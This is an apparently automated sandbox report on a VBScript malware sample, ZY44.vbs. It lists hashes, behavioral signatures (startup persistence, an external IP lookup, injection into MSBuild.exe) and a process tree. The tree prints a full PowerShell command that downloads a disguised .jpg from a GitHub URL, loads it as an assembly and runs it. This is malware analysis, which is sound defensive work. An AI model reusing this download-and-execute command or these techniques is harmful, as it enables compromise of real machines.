Analysis
- max time kernel
27s - max time network
141s - platform
windows10_x64 - resource
win10v20201028 - submitted
20/12/2020, 12:09
Static task
static1
Behavioral task
behavioral1
Sample
ZY44.vbs
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
ZY44.vbs
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
- Target ZY44.vbs
- Size 3KB
- Sample201220-cf9eb9w27n
- SHA256 d1fa4207d7c46c5f84b1c45e7b5d09aa9c99c896b0e25664bee3b13fcaabcfad
- MD5 4e360770f75b71af91ff81711df27411
- SHA1 e682b84622bd5b026271a4e1f32ee26c54f51d14
- SHA512 fc958acc9149a7bdbd98d929ea64497a8e91f37d9c2c3f4bfa622d3927e0f19340469694385520d7377e541c05d9306926d8a8c6de1d6575cc05369d0df4a32e
- MD5 SHA1 SHA512
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 1 IoCs
flow pid Process 7 2700 powershell.exe - Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZY44.vbs WScript.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZY44.vbs WScript.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 14 ip-api.com - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2700 set thread context of 3420 2700 powershell.exe 81 - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2700 powershell.exe 2700 powershell.exe 2700 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2700 powershell.exe Token: SeDebugPrivilege 3420 MSBuild.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3420 MSBuild.exe - Suspicious use of WriteProcessMemory 109 IoCs
description pid Process procid_target PID 1160 wrote to memory of 2700 1160 WScript.exe 73 PID 1160 wrote to memory of 2700 1160 WScript.exe 73 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81 PID 2700 wrote to memory of 3420 2700 powershell.exe 81
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ZY44.vbs"1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:1160 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $f='C:\Users\Public\Music\xt.jpg'; Invoke-WebRequest 'https://raw.githubusercontent.com/githubuser2x/x/master/New.jpg' -outfile $f ;[System.Reflection.Assembly]::loadfile($f);[axx.bxx]::cxx()2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2700 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3420
-
-